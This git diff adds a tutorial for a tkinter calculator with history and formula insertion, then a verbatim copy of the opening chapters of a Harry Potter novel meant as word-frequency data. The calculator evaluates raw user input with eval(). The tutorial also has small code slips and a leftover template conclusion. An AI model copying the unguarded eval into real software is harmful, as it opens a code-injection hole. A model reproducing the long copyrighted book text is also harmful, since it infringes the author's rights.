tkinter.txt @@ -0,0 +1,371 @@ +# Calculator with tkinter +**How to make a simple calculator with tkinter which has a history function and variable insertion.** + +## Idea +In this tutorial, we are going to make a calculator with Tkinter the built-in GUI Library in python. We are going to make a 3 by 3 Grid with buttons that represent the possible inputs, a live result showing system, a history of calculations feature, and variable insertion. + +So let's get right into it. + +## Imports +As always we start with the imports. Because we make the UI with tkinter we need to import it, we import everything from `tkinter` so we don't have to write less code later on. We also import the font module from tkinter so we can change the fonts on our elements later. + +We continue by getting the `partial` function from `functools`. This is a genius function that excepts another function as a first argument and some args and kwargs and it will return a reference to this function with those arguments. This is especially useful when we want to insert one of our functions to a command argument of a button or a key binding. + +In the next line, we import `ctypes`, which allows us to enable high dpi, making our window look way sharper. This is done with the function call in the last line of this sections code block. + +Because we'll save our history in a JSON file we import the `json` module to parse json and stringify lists. + +We also need `re` the built-in regex module for our variable insertion feature. + +Last but not least we get math, but we do not don't need it we just import it so it can be used in the line edit of the calculator. + +```python +from tkinter import * +import tkinter.font as font +from functools import partial +import ctypes +import json +import re + +# so the functions that can be used from the math module can be used in the line edit. +import math + +ctypes.windll.shcore.SetProcessDpiAwareness(1) +``` + +## Variables and tkinter setup + +Next up we make some variables and we set up the tkinter. + +The first two variables are just colors for our buttons and for the background of the history panel. + +Next, we set up tkinter by calling its Tk class and saving this object in the `root` variable. We then set the window dimensions with the `geometry()` method and the window title with `title()`. + +We then import an image from our directory which we can set to be the icon of our program. + +Last but not least we import the font `Consolas` in the size 12. We do this with the `Font` class from the font module of tkinter. + +```python +# Colors +buttonColor = (255, 255, 255) +historyPanelBackground = (255, 255, 255) + +# Tkinter Setup +root = Tk() +root.geometry("550x270") +root.title("Calculator") + +# Setting icon for the Application +photo = PhotoImage(file = "icon.png") +root.iconphoto(False, photo) + +# Loading Font from font name +myFont = font.Font(family='Consolas', size=12) +``` + +## Formulas and variable insertions + +Now I am going to explain the variable insertion feature or at least I will try to! So the idea is that we can have a space after our equations where we declare variables that are inserted into the equation by placeholders. Let us look at this in a concrete example. If we type text below into the line edit. + +``` +{a} * {b} ? a=7 & b=3 +``` + +... should net us this result ... + +``` +21 +``` +... because where `a` was the 7 will be placed and where the `b` is we will insert the 3 and after that the equation will be evaluated and this will be `21`. + +We will later look at how this is done in practice. + +Below we also have a list of formulas that can be inserted into the line edit. We will make them pickable from a Menu. + +```python +# Formula Templates +formulas = [ + ['Pythagoras->c', '(({a}**2)+({b}**2))**0.5 ? a=5 & b=5'], + ['Pythagoras->c**2', '({a}**2)+({b}**2) ? a=5 & b=5'], + ['pq->(x1, x2)', '-({p}/2) + sqrt(({p}/2)**2 - ({q})), -({p}/2) - sqrt(({p}/2)**2 - ({q})) ? p=-1 & q=-12'], + ['abc->(x1, x2)', 'quadratic_formula({a}, {b}, {c}) ? a=1 & b=5 & c=6'], + ['Incline->y', '{m}{x} + {q} ? m=4 & x=5 & q=6'], +] +``` + +## History setup + +Next, we set up the history feature. + +We start by declaring a list that will hold our history items. Then we have a variable that holds the location of the `history.json` file. + +In the end, we have a try and except block, where there is an attempt to make the file at the specified location. This is just done so the file exists in all cases. + +```python +# All the history equations are in this list. +history = [] + +# Where the history file is located. +historyFilePath = 'history.json' + +print("Reading history from: ",historyFilePath ) + +# Creating History file if it does not exist. +try: + with open(historyFilePath, 'x') as fp: + pass + print("Created file at:", historyFilePath) +except: + print('File already exists') +``` + +## RGB to hex and math function. + +Now we talk about two functions that hold only minor importance. + +The first one simply converts RGB colors to hex colors because tkinter only allows color names and hex colors. + +The second one is a custom math function that can be used in the line edit. + +```python +# converting RGB values to HEX +def rgb_to_hex(rgb): + return "#%02x%02x%02x" % rgb + +def quadratic_formula(a, b, c): + disc = b**2 - 4 * a * c + + x1 = (-b - math.sqrt(disc)) / (2 * a) + x2 = (-b + math.sqrt(disc)) / (2 * a) + + return(x1, x2) +``` + +## Helper functions + +Now we will go over the several helper functions that are needed to make the program work. + +### `addSymbol` + +This function will be called from the buttons to insert operators like `*` or `+` and numbers into the line edit. That's where the symbol parameter comes in. Now if the symbol is `<` we won't append it, we will shorten the current input. We actually change the String Variable which holds the current input. + +```python +# Add something to the current calculation +def addSymbol(event=None, symbol=None): + + if symbol == '<': + entryVariable.set(entryVariable.get()[:-1]) + else: + entryVariable.set(entryVariable.get()+symbol) +``` + +### `varChange` + +This function will be connected to change events on the input variable. In this function, we will also evaluate the equation and insert it into the result label. + +Earlier we took a look at how the variable insertion feature functioned and now we look at how we do this in practice. + +As you see we first split the input string by the `?` and then we save this to the `evaluationString` variable. + +After that, we check if the input string split by `?` would result in a list with two items. If that's the case we know that there are insertion variables. Then we get this side of the string and we loop over another splitted version of this where the separator is `&`. There we modify the `evaluationString` with these variables. + +In either case, we will try to insert the evaluated value into the result label. Now it could be that this doesn't work because the input is invalid so we cover that case. + +```python +def varChange(*args): + evaluationString = entryVariable.get().replace(' ', '').split('?')[0] + + print('Before insertion: ',evaluationString) + + if len(entryVariable.get().split('?')) == 2: + + parameters = entryVariable.get().replace(' ', '').split('?')[1] + + for param in parameters.split('&'): + where, what = param.split('=') + evaluationString = re.sub('{'+where+'}', what, evaluationString) + + try: + print('After insertion: ', evaluationString) + resultLabel.config(text=str(eval(evaluationString))) + except: + resultLabel.config(text='Invalid Input') +``` + +### `saveCurrentInputToHistory` + +This function simply saves the current line edit input to the history file. We first check if the value is already in the list so we don't have duplicates. We then save the history list to the history file. Here we use the `json.dump()` function. and in the end, we call the `updateListBox` function, which will be explained later. + +```python +def saveCurrentInputToHistory(event=None): + if entryVariable.get() in history: + return + + history.append(entryVariable.get()) + + with open(historyFilePath, 'w') as file: + file.write(json.dumps(history)) + + updateListBox() +``` + +### `updateListBox` + +This function will delete all the contents of the history list and display them again, that's why need the history variable here. We then delete all the stuff in the list with the `delete(start, end)` method. Then we get open the history file and get the json from there. And in the end, we loop over the history list and insert those values into the history list. + +```python +def updateListBox(event=None): + global history + + historyList.delete(0, END) + + try: + with open(historyFilePath, 'r') as file: + history = json.loads(file.read()) + except json.decoder.JSONDecodeError: + print('File does not contain JSON') + + for index, item in enumerate(history): + historyList.insert(index, item) +``` + +### `setEntryFromHistory` and `addFormula` + +These two functions have simple jobs. + +The `setEntryFromHistory` enables us to click on a list item and this item will then be inserted into the line edit. + +The `addFormula` function will do the same just for the formulas chosen from the dropdownmenu. + +```python +def setEntryFromHistory(event=None): + historyItem = historyList.get(historyList.curselection()[0]) + entryVariable.set(historyItem) + +def addFormula(formula=''): + saveCurrentInputToHistory() + entryVariable.set(formula) +``` + +## UI + +Now we will make the UI. I wont go into detail to much. There are some different to take away from the code. + +The layout is done with the `pack` method of all widgets, and make the two-column setup by using `Frame`'s + +```python +# Work with Frames to split the window in two parts: the calculator and the History Panel. + +# Calculation Panel +calcSide = Frame(root) +calcSide.pack(side=LEFT, fill=BOTH, expand=1) + +# Entry Variable for the calculations +entryVariable = StringVar(root, '4/2**2') +entryVariable.trace('w', varChange) + +Entry(calcSide, textvariable=entryVariable, font=myFont, borderwidth=0).pack(fill=X, ipady=10, ipadx=10) +resultLabel = Label(calcSide, text='Result', font=myFont, borderwidth=0,anchor="e") +resultLabel.pack(fill=X, ipady=10) + +# History Panel +historySide = Frame(root, bg=rgb_to_hex(historyPanelBackground)) +historySide.pack(side=LEFT, fill=BOTH, expand=1) + +historyTopBar = Frame(historySide) +historyTopBar.pack(fill=X) +Label(historyTopBar, text='History').pack(side=LEFT) +Button(historyTopBar, text='Save Current Input', bg=rgb_to_hex(buttonColor), borderwidth=0, command=saveCurrentInputToHistory).pack(side=RIGHT) + +historyList = Listbox(historySide, borderwidth=0) +historyList.pack(fill=BOTH, expand=True) +historyList.bind("", setEntryFromHistory) +``` + +We also call this function so the list updates on startup. +```python +# Insert stuff into the history +updateListBox() +``` +Below you see how the Buttons are made. We first define a list with other lists in it where the symbols on the button are layed out. + +Then we loop over this first list and make a new frame for each row. we continue by looping over these inner lists and generating buttons with the given symbols. + +We set the background color on these buttons to our button color and then we lower every number from the button color tuple, this will give us a nice gradient for the buttons. + +```python +# Button Symbols (and their position) +symbols = [ + ['1', '2', '3', '+'], + ['4', '5', '6', '-'], + ['7', '8', '9', '/'], + ['0', '.', '<', '*'], +] + +for rowList in symbols: + + # Make a row + row = Frame(calcSide) + row.pack(fill=BOTH, expand=True) + for symbol in rowList: + + # Making and packing the Button + Button( + row, + text=symbol, + command=partial(addSymbol, symbol=symbol), + font=myFont, + bg=rgb_to_hex(buttonColor), + borderwidth=0 + ).pack( + side=LEFT, + fill=BOTH, + expand=1 + ) + + # Change button color each iteration for gradient. + buttonColor = (buttonColor[0] - 10, buttonColor[1] - 10, buttonColor[1] - 2) +``` + +We also make a menu where we have all our formulas ready to be inserted. + +```python +menubar = Menu(root) + +filemenu = Menu(menubar, tearoff=0) + +# Add all Formulas to the dropdown menu. +for formula in formulas: + filemenu.add_command(label=formula[0], command=partial(addFormula, formula[1])) + +filemenu.add_separator() + +# Quit command +filemenu.add_command(label="Exit", command=root.quit) + +menubar.add_cascade(menu=filemenu, label='Formulas') + +root.config(menu=menubar) +``` + +Now, in the end, we call the `valueChange` function so the input is evaluated on startup and we call the `mainloop()` method. + +```python +# Call the var change once so it is evaluated without actual change. +varChange('foo') + +root.mainloop() +``` + +## Showcase + +Below you see a little showcase of how the calculator works. + +![enter image description here](https://raw.githubusercontent.com/Maximinodotpy/calculator/main/showcase%20%282%29.gif) + +## Conclusion + +Excellent! You have successfully created a calculator using Python code! See how you can add more features to this program such as more formulas or a converter for different things like inches to centimers +## Conclusion + +Excellent! You have successfully created a **...** using Python code! See how you can add more features to this program such as **...** . \ No newline at end of file diff --git a/general/zipf-curve/texts/Harry Potter and the Sorcerer's Stone.txt b/general/zipf-curve/texts/Harry Potter and the Sorcerer's Stone.txt new file mode 100644 index 00000000..87b5d048 --- /dev/null +++ b/general/zipf-curve/texts/Harry Potter and the Sorcerer's Stone.txt @@ -0,0 +1,10702 @@ +Harry Potter and the Sorcerer's Stone + + +CHAPTER ONE + +THE BOY WHO LIVED + +Mr. and Mrs. Dursley, of number four, Privet Drive, were proud to say +that they were perfectly normal, thank you very much. They were the last +people you'd expect to be involved in anything strange or mysterious, +because they just didn't hold with such nonsense. + +Mr. Dursley was the director of a firm called Grunnings, which made +drills. He was a big, beefy man with hardly any neck, although he did +have a very large mustache. Mrs. Dursley was thin and blonde and had +nearly twice the usual amount of neck, which came in very useful as she +spent so much of her time craning over garden fences, spying on the +neighbors. The Dursleys had a small son called Dudley and in their +opinion there was no finer boy anywhere. + +The Dursleys had everything they wanted, but they also had a secret, and +their greatest fear was that somebody would discover it. They didn't +think they could bear it if anyone found out about the Potters. Mrs. +Potter was Mrs. Dursley's sister, but they hadn't met for several years; +in fact, Mrs. Dursley pretended she didn't have a sister, because her +sister and her good-for-nothing husband were as unDursleyish as it was +possible to be. The Dursleys shuddered to think what the neighbors would +say if the Potters arrived in the street. The Dursleys knew that the +Potters had a small son, too, but they had never even seen him. This boy +was another good reason for keeping the Potters away; they didn't want +Dudley mixing with a child like that. + +When Mr. and Mrs. Dursley woke up on the dull, gray Tuesday our story +starts, there was nothing about the cloudy sky outside to suggest that +strange and mysterious things would soon be happening all over the +country. Mr. Dursley hummed as he picked out his most boring tie for +work, and Mrs. Dursley gossiped away happily as she wrestled a screaming +Dudley into his high chair. + +None of them noticed a large, tawny owl flutter past the window. + +At half past eight, Mr. Dursley picked up his briefcase, pecked Mrs. +Dursley on the cheek, and tried to kiss Dudley good-bye but missed, +because Dudley was now having a tantrum and throwing his cereal at the +walls. "Little tyke," chortled Mr. Dursley as he left the house. He got +into his car and backed out of number four's drive. + +It was on the corner of the street that he noticed the first sign of +something peculiar -- a cat reading a map. For a second, Mr. Dursley +didn't realize what he had seen -- then he jerked his head around to +look again. There was a tabby cat standing on the corner of Privet +Drive, but there wasn't a map in sight. What could he have been thinking +of? It must have been a trick of the light. Mr. Dursley blinked and +stared at the cat. It stared back. As Mr. Dursley drove around the +corner and up the road, he watched the cat in his mirror. It was now +reading the sign that said Privet Drive -- no, looking at the sign; cats +couldn't read maps or signs. Mr. Dursley gave himself a little shake and +put the cat out of his mind. As he drove toward town he thought of +nothing except a large order of drills he was hoping to get that day. + +But on the edge of town, drills were driven out of his mind by something +else. As he sat in the usual morning traffic jam, he couldn't help +noticing that there seemed to be a lot of strangely dressed people +about. People in cloaks. Mr. Dursley couldn't bear people who dressed in +funny clothes -- the getups you saw on young people! He supposed this +was some stupid new fashion. He drummed his fingers on the steering +wheel and his eyes fell on a huddle of these weirdos standing quite +close by. They were whispering excitedly together. Mr. Dursley was +enraged to see that a couple of them weren't young at all; why, that man +had to be older than he was, and wearing an emerald-green cloak! The +nerve of him! But then it struck Mr. Dursley that this was probably some +silly stunt -- these people were obviously collecting for something... +yes, that would be it. The traffic moved on and a few minutes later, Mr. +Dursley arrived in the Grunnings parking lot, his mind back on drills. + +Mr. Dursley always sat with his back to the window in his office on the +ninth floor. If he hadn't, he might have found it harder to concentrate +on drills that morning. He didn't see the owls swoop ing past in broad +daylight, though people down in the street did; they pointed and gazed +open- mouthed as owl after owl sped overhead. Most of them had never +seen an owl even at nighttime. Mr. Dursley, however, had a perfectly +normal, owl-free morning. He yelled at five different people. He made +several important telephone calls and shouted a bit more. He was in a +very good mood until lunchtime, when he thought he'd stretch his legs +and walk across the road to buy himself a bun from the bakery. + +He'd forgotten all about the people in cloaks until he passed a group of +them next to the baker's. He eyed them angrily as he passed. He didn't +know why, but they made him uneasy. This bunch were whispering +excitedly, too, and he couldn't see a single collecting tin. It was on +his way back past them, clutching a large doughnut in a bag, that he +caught a few words of what they were saying. + +"The Potters, that's right, that's what I heard yes, their son, Harry" + +Mr. Dursley stopped dead. Fear flooded him. He looked back at the +whisperers as if he wanted to say something to them, but thought better +of it. + +He dashed back across the road, hurried up to his office, snapped at his +secretary not to disturb him, seized his telephone, and had almost +finished dialing his home number when he changed his mind. He put the +receiver back down and stroked his mustache, thinking... no, he was +being stupid. Potter wasn't such an unusual name. He was sure there were +lots of people called Potter who had a son called Harry. Come to think +of it, he wasn't even sure his nephew was called Harry. He'd never even +seen the boy. It might have been Harvey. Or Harold. There was no point +in worrying Mrs. Dursley; she always got so upset at any mention of her +sister. He didn't blame her -- if he'd had a sister like that... but all +the same, those people in cloaks... + +He found it a lot harder to concentrate on drills that afternoon and +when he left the building at five o'clock, he was still so worried that +he walked straight into someone just outside the door. + +"Sorry," he grunted, as the tiny old man stumbled and almost fell. It +was a few seconds before Mr. Dursley realized that the man was wearing a +violet cloak. He didn't seem at all upset at being almost knocked to the +ground. On the contrary, his face split into a wide smile and he said in +a squeaky voice that made passersby stare, "Don't be sorry, my dear sir, +for nothing could upset me today! Rejoice, for You-Know-Who has gone at +last! Even Muggles like yourself should be celebrating, this happy, +happy day!" + +And the old man hugged Mr. Dursley around the middle and walked off. + +Mr. Dursley stood rooted to the spot. He had been hugged by a complete +stranger. He also thought he had been called a Muggle, whatever that +was. He was rattled. He hurried to his car and set off for home, hoping +he was imagining things, which he had never hoped before, because he +didn't approve of imagination. + +As he pulled into the driveway of number four, the first thing he saw -- +and it didn't improve his mood -- was the tabby cat he'd spotted that +morning. It was now sitting on his garden wall. He was sure it was the +same one; it had the same markings around its eyes. + +"Shoo!" said Mr. Dursley loudly. The cat didn't move. It just gave him a +stern look. Was this normal cat behavior? Mr. Dursley wondered. Trying +to pull himself together, he let himself into the house. He was still +determined not to mention anything to his wife. + +Mrs. Dursley had had a nice, normal day. She told him over dinner all +about Mrs. Next Door's problems with her daughter and how Dudley had +learned a new word ("Won't!"). Mr. Dursley tried to act normally. When +Dudley had been put to bed, he went into the living room in time to +catch the last report on the evening news: + +"And finally, bird-watchers everywhere have reported that the nation's +owls have been behaving very unusually today. Although owls normally +hunt at night and are hardly ever seen in daylight, there have been +hundreds of sightings of these birds flying in every direction since +sunrise. Experts are unable to explain why the owls have suddenly +changed their sleeping pattern." The newscaster allowed himself a grin. +"Most mysterious. And now, over to Jim McGuffin with the weather. Going +to be any more showers of owls tonight, Jim?" + +"Well, Ted," said the weatherman, "I don't know about that, but it's not +only the owls that have been acting oddly today. Viewers as far apart as +Kent, Yorkshire, and Dundee have been phoning in to tell me that instead +of the rain I promised yesterday, they've had a downpour of shooting +stars! Perhaps people have been celebrating Bonfire Night early -- it's +not until next week, folks! But I can promise a wet night tonight." + +Mr. Dursley sat frozen in his armchair. Shooting stars all over Britain? +Owls flying by daylight? Mysterious people in cloaks all over the place? +And a whisper, a whisper about the Potters... + +Mrs. Dursley came into the living room carrying two cups of tea. It was +no good. He'd have to say something to her. He cleared his throat +nervously. "Er -- Petunia, dear -- you haven't heard from your sister +lately, have you?" + +As he had expected, Mrs. Dursley looked shocked and angry. After all, +they normally pretended she didn't have a sister. + +"No," she said sharply. "Why?" + +"Funny stuff on the news," Mr. Dursley mumbled. "Owls... shooting +stars... and there were a lot of funny-looking people in town today..." + +"So?" snapped Mrs. Dursley. + +"Well, I just thought... maybe... it was something to do with... you +know... her crowd." + +Mrs. Dursley sipped her tea through pursed lips. Mr. Dursley wondered +whether he dared tell her he'd heard the name "Potter." He decided he +didn't dare. Instead he said, as casually as he could, "Their son -- +he'd be about Dudley's age now, wouldn't he?" + +"I suppose so," said Mrs. Dursley stiffly. + +"What's his name again? Howard, isn't it?" + +"Harry. Nasty, common name, if you ask me." + +"Oh, yes," said Mr. Dursley, his heart sinking horribly. "Yes, I quite +agree." + +He didn't say another word on the subject as they went upstairs to bed. +While Mrs. Dursley was in the bathroom, Mr. Dursley crept to the bedroom +window and peered down into the front garden. The cat was still there. +It was staring down Privet Drive as though it were waiting for +something. + +Was he imagining things? Could all this have anything to do with the +Potters? If it did... if it got out that they were related to a pair of +-- well, he didn't think he could bear it. + +The Dursleys got into bed. Mrs. Dursley fell asleep quickly but Mr. +Dursley lay awake, turning it all over in his mind. His last, comforting +thought before he fell asleep was that even if the Potters were +involved, there was no reason for them to come near him and Mrs. +Dursley. The Potters knew very well what he and Petunia thought about +them and their kind.... He couldn't see how he and Petunia could get +mixed up in anything that might be going on -- he yawned and turned over +-- it couldn't affect them.... + +How very wrong he was. + +Mr. Dursley might have been drifting into an uneasy sleep, but the cat +on the wall outside was showing no sign of sleepiness. It was sitting as +still as a statue, its eyes fixed unblinkingly on the far corner of +Privet Drive. It didn't so much as quiver when a car door slammed on the +next street, nor when two owls swooped overhead. In fact, it was nearly +midnight before the cat moved at all. + +A man appeared on the corner the cat had been watching, appeared so +suddenly and silently you'd have thought he'd just popped out of the +ground. The cat's tail twitched and its eyes narrowed. + +Nothing like this man had ever been seen on Privet Drive. He was tall, +thin, and very old, judging by the silver of his hair and beard, which +were both long enough to tuck into his belt. He was wearing long robes, +a purple cloak that swept the ground, and high-heeled, buckled boots. +His blue eyes were light, bright, and sparkling behind half-moon +spectacles and his nose was very long and crooked, as though it had been +broken at least twice. This man's name was Albus Dumbledore. + +Albus Dumbledore didn't seem to realize that he had just arrived in a +street where everything from his name to his boots was unwelcome. He was +busy rummaging in his cloak, looking for something. But he did seem to +realize he was being watched, because he looked up suddenly at the cat, +which was still staring at him from the other end of the street. For +some reason, the sight of the cat seemed to amuse him. He chuckled and +muttered, "I should have known." + +He found what he was looking for in his inside pocket. It seemed to be a +silver cigarette lighter. He flicked it open, held it up in the air, and +clicked it. The nearest street lamp went out with a little pop. He +clicked it again -- the next lamp flickered into darkness. Twelve times +he clicked the Put-Outer, until the only lights left on the whole street +were two tiny pinpricks in the distance, which were the eyes of the cat +watching him. If anyone looked out of their window now, even beady-eyed +Mrs. Dursley, they wouldn't be able to see anything that was happening +down on the pavement. Dumbledore slipped the Put-Outer back inside his +cloak and set off down the street toward number four, where he sat down +on the wall next to the cat. He didn't look at it, but after a moment he +spoke to it. + +"Fancy seeing you here, Professor McGonagall." + +He turned to smile at the tabby, but it had gone. Instead he was smiling +at a rather severe-looking woman who was wearing square glasses exactly +the shape of the markings the cat had had around its eyes. She, too, was +wearing a cloak, an emerald one. Her black hair was drawn into a tight +bun. She looked distinctly ruffled. + +"How did you know it was me?" she asked. + +"My dear Professor, I 've never seen a cat sit so stiffly." + +"You'd be stiff if you'd been sitting on a brick wall all day," said +Professor McGonagall. + +"All day? When you could have been celebrating? I must have passed a +dozen feasts and parties on my way here." + +Professor McGonagall sniffed angrily. + +"Oh yes, everyone's celebrating, all right," she said impatiently. +"You'd think they'd be a bit more careful, but no -- even the Muggles +have noticed something's going on. It was on their news." She jerked her +head back at the Dursleys' dark living-room window. "I heard it. Flocks +of owls... shooting stars.... Well, they're not completely stupid. They +were bound to notice something. Shooting stars down in Kent -- I'll bet +that was Dedalus Diggle. He never had much sense." + +"You can't blame them," said Dumbledore gently. "We've had precious +little to celebrate for eleven years." + +"I know that," said Professor McGonagall irritably. "But that's no +reason to lose our heads. People are being downright careless, out on +the streets in broad daylight, not even dressed in Muggle clothes, +swapping rumors." + +She threw a sharp, sideways glance at Dumbledore here, as though hoping +he was going to tell her something, but he didn't, so she went on. "A +fine thing it would be if, on the very day YouKnow-Who seems to have +disappeared at last, the Muggles found out about us all. I suppose he +really has gone, Dumbledore?" + +"It certainly seems so," said Dumbledore. "We have much to be thankful +for. Would you care for a lemon drop?" + +"A what?" + +"A lemon drop. They're a kind of Muggle sweet I'm rather fond of" + +"No, thank you," said Professor McGonagall coldly, as though she didn't +think this was the moment for lemon drops. "As I say, even if +You-Know-Who has gone -" + +"My dear Professor, surely a sensible person like yourself can call him +by his name? All this 'You- Know-Who' nonsense -- for eleven years I +have been trying to persuade people to call him by his proper name: +Voldemort." Professor McGonagall flinched, but Dumbledore, who was +unsticking two lemon drops, seemed not to notice. "It all gets so +confusing if we keep saying 'You-Know-Who.' I have never seen any reason +to be frightened of saying Voldemort's name. + +"I know you haven 't, said Professor McGonagall, sounding half +exasperated, half admiring. "But you're different. Everyone knows you're +the only one You-Know- oh, all right, Voldemort, was frightened of." + +"You flatter me," said Dumbledore calmly. "Voldemort had powers I will +never have." + +"Only because you're too -- well -- noble to use them." + +"It's lucky it's dark. I haven't blushed so much since Madam Pomfrey +told me she liked my new earmuffs." + +Professor McGonagall shot a sharp look at Dumbledore and said, "The owls +are nothing next to the rumors that are flying around. You know what +everyone's saying? About why he's disappeared? About what finally +stopped him?" + +It seemed that Professor McGonagall had reached the point she was most +anxious to discuss, the real reason she had been waiting on a cold, hard +wall all day, for neither as a cat nor as a woman had she fixed +Dumbledore with such a piercing stare as she did now. It was plain that +whatever "everyone" was saying, she was not going to believe it until +Dumbledore told her it was true. Dumbledore, however, was choosing +another lemon drop and did not answer. + +"What they're saying," she pressed on, "is that last night Voldemort +turned up in Godric's Hollow. He went to find the Potters. The rumor is +that Lily and James Potter are -- are -- that they're -- dead. " + +Dumbledore bowed his head. Professor McGonagall gasped. + +"Lily and James... I can't believe it... I didn't want to believe it... +Oh, Albus..." + +Dumbledore reached out and patted her on the shoulder. "I know... I +know..." he said heavily. + +Professor McGonagall's voice trembled as she went on. "That's not all. +They're saying he tried to kill the Potter's son, Harry. But -- he +couldn't. He couldn't kill that little boy. No one knows why, or how, +but they're saying that when he couldn't kill Harry Potter, Voldemort's +power somehow broke -- and that's why he's gone. + +Dumbledore nodded glumly. + +"It's -- it's true?" faltered Professor McGonagall. "After all he's +done... all the people he's killed... he couldn't kill a little boy? +It's just astounding... of all the things to stop him... but how in the +name of heaven did Harry survive?" + +"We can only guess," said Dumbledore. "We may never know." + +Professor McGonagall pulled out a lace handkerchief and dabbed at her +eyes beneath her spectacles. Dumbledore gave a great sniff as he took a +golden watch from his pocket and examined it. It was a very odd watch. +It had twelve hands but no numbers; instead, little planets were moving +around the edge. It must have made sense to Dumbledore, though, because +he put it back in his pocket and said, "Hagrid's late. I suppose it was +he who told you I'd be here, by the way?" + +"Yes," said Professor McGonagall. "And I don't suppose you're going to +tell me why you're here, of all places?" + +"I've come to bring Harry to his aunt and uncle. They're the only family +he has left now." + +"You don't mean -- you can't mean the people who live here?" cried +Professor McGonagall, jumping to her feet and pointing at number four. +"Dumbledore -- you can't. I've been watching them all day. You couldn't +find two people who are less like us. And they've got this son -- I saw +him kicking his mother all the way up the street, screaming for sweets. +Harry Potter come and live here!" + +"It's the best place for him," said Dumbledore firmly. "His aunt and +uncle will be able to explain everything to him when he's older. I've +written them a letter." + +"A letter?" repeated Professor McGonagall faintly, sitting back down on +the wall. "Really, Dumbledore, you think you can explain all this in a +letter? These people will never understand him! He'll be famous -- a +legend -- I wouldn't be surprised if today was known as Harry Potter day +in the future -- there will be books written about Harry -- every child +in our world will know his name!" + +"Exactly," said Dumbledore, looking very seriously over the top of his +half-moon glasses. "It would be enough to turn any boy's head. Famous +before he can walk and talk! Famous for something he won't even +remember! CarA you see how much better off he'll be, growing up away +from all that until he's ready to take it?" + +Professor McGonagall opened her mouth, changed her mind, swallowed, and +then said, "Yes -- yes, you're right, of course. But how is the boy +getting here, Dumbledore?" She eyed his cloak suddenly as though she +thought he might be hiding Harry underneath it. + +"Hagrid's bringing him." + +"You think it -- wise -- to trust Hagrid with something as important as +this?" + +I would trust Hagrid with my life," said Dumbledore. + +"I'm not saying his heart isn't in the right place," said Professor +McGonagall grudgingly, "but you can't pretend he's not careless. He does +tend to -- what was that?" + +A low rumbling sound had broken the silence around them. It grew +steadily louder as they looked up and down the street for some sign of a +headlight; it swelled to a roar as they both looked up at the sky -- and +a huge motorcycle fell out of the air and landed on the road in front of +them. + +If the motorcycle was huge, it was nothing to the man sitting astride +it. He was almost twice as tall as a normal man and at least five times +as wide. He looked simply too big to be allowed, and so wild - long +tangles of bushy black hair and beard hid most of his face, he had hands +the size of trash can lids, and his feet in their leather boots were +like baby dolphins. In his vast, muscular arms he was holding a bundle +of blankets. + +"Hagrid," said Dumbledore, sounding relieved. "At last. And where did +you get that motorcycle?" + +"Borrowed it, Professor Dumbledore, sit," said the giant, climbing +carefully off the motorcycle as he spoke. "Young Sirius Black lent it to +me. I've got him, sir." + +"No problems, were there?" + +"No, sir -- house was almost destroyed, but I got him out all right +before the Muggles started swarmin' around. He fell asleep as we was +flyin' over Bristol." + +Dumbledore and Professor McGonagall bent forward over the bundle of +blankets. Inside, just visible, was a baby boy, fast asleep. Under a +tuft of jet-black hair over his forehead they could see a curiously +shaped cut, like a bolt of lightning. + +"Is that where -?" whispered Professor McGonagall. + +"Yes," said Dumbledore. "He'll have that scar forever." + +"Couldn't you do something about it, Dumbledore?" + +"Even if I could, I wouldn't. Scars can come in handy. I have one myself +above my left knee that is a perfect map of the London Underground. Well +-- give him here, Hagrid -- we'd better get this over with." + +Dumbledore took Harry in his arms and turned toward the Dursleys' house. + +"Could I -- could I say good-bye to him, sir?" asked Hagrid. He bent his +great, shaggy head over Harry and gave him what must have been a very +scratchy, whiskery kiss. Then, suddenly, Hagrid let out a howl like a +wounded dog. + +"Shhh!" hissed Professor McGonagall, "you'll wake the Muggles!" + +"S-s-sorry," sobbed Hagrid, taking out a large, spotted handkerchief and +burying his face in it. "But I c-c-can't stand it -- Lily an' James dead +-- an' poor little Harry off ter live with Muggles -" + +"Yes, yes, it's all very sad, but get a grip on yourself, Hagrid, or +we'll be found," Professor McGonagall whispered, patting Hagrid gingerly +on the arm as Dumbledore stepped over the low garden wall and walked to +the front door. He laid Harry gently on the doorstep, took a letter out +of his cloak, tucked it inside Harry's blankets, and then came back to +the other two. For a full minute the three of them stood and looked at +the little bundle; Hagrid's shoulders shook, Professor McGonagall +blinked furiously, and the twinkling light that usually shone from +Dumbledore's eyes seemed to have gone out. + +"Well," said Dumbledore finally, "that's that. We've no business staying +here. We may as well go and join the celebrations." + +"Yeah," said Hagrid in a very muffled voice, "I'll be takin' Sirius his +bike back. G'night, Professor McGonagall -- Professor Dumbledore, sir." + +Wiping his streaming eyes on his jacket sleeve, Hagrid swung himself +onto the motorcycle and kicked the engine into life; with a roar it rose +into the air and off into the night. + +"I shall see you soon, I expect, Professor McGonagall," said Dumbledore, +nodding to her. Professor McGonagall blew her nose in reply. + +Dumbledore turned and walked back down the street. On the corner he +stopped and took out the silver Put-Outer. He clicked it once, and +twelve balls of light sped back to their street lamps so that Privet +Drive glowed suddenly orange and he could make out a tabby cat slinking +around the corner at the other end of the street. He could just see the +bundle of blankets on the step of number four. + +"Good luck, Harry," he murmured. He turned on his heel and with a swish +of his cloak, he was gone. + +A breeze ruffled the neat hedges of Privet Drive, which lay silent and +tidy under the inky sky, the very last place you would expect +astonishing things to happen. Harry Potter rolled over inside his +blankets without waking up. One small hand closed on the letter beside +him and he slept on, not knowing he was special, not knowing he was +famous, not knowing he would be woken in a few hours' time by Mrs. +Dursley's scream as she opened the front door to put out the milk +bottles, nor that he would spend the next few weeks being prodded and +pinched by his cousin Dudley... He couldn't know that at this very +moment, people meeting in secret all over the country were holding up +their glasses and saying in hushed voices: "To Harry Potter -- the boy +who lived!" + + +CHAPTER TWO + +THE VANISHING GLASS + +Nearly ten years had passed since the Dursleys had woken up to find +their nephew on the front step, but Privet Drive had hardly changed at +all. The sun rose on the same tidy front gardens and lit up the brass +number four on the Dursleys' front door; it crept into their living +room, which was almost exactly the same as it had been on the night when +Mr. Dursley had seen that fateful news report about the owls. Only the +photographs on the mantelpiece really showed how much time had passed. +Ten years ago, there had been lots of pictures of what looked like a +large pink beach ball wearing different-colored bonnets -- but Dudley +Dursley was no longer a baby, and now the photographs showed a large +blond boy riding his first bicycle, on a carousel at the fair, playing a +computer game with his father, being hugged and kissed by his mother. +The room held no sign at all that another boy lived in the house, too. + +Yet Harry Potter was still there, asleep at the moment, but not for +long. His Aunt Petunia was awake and it was her shrill voice that made +the first noise of the day. + +"Up! Get up! Now!" + +Harry woke with a start. His aunt rapped on the door again. + +"Up!" she 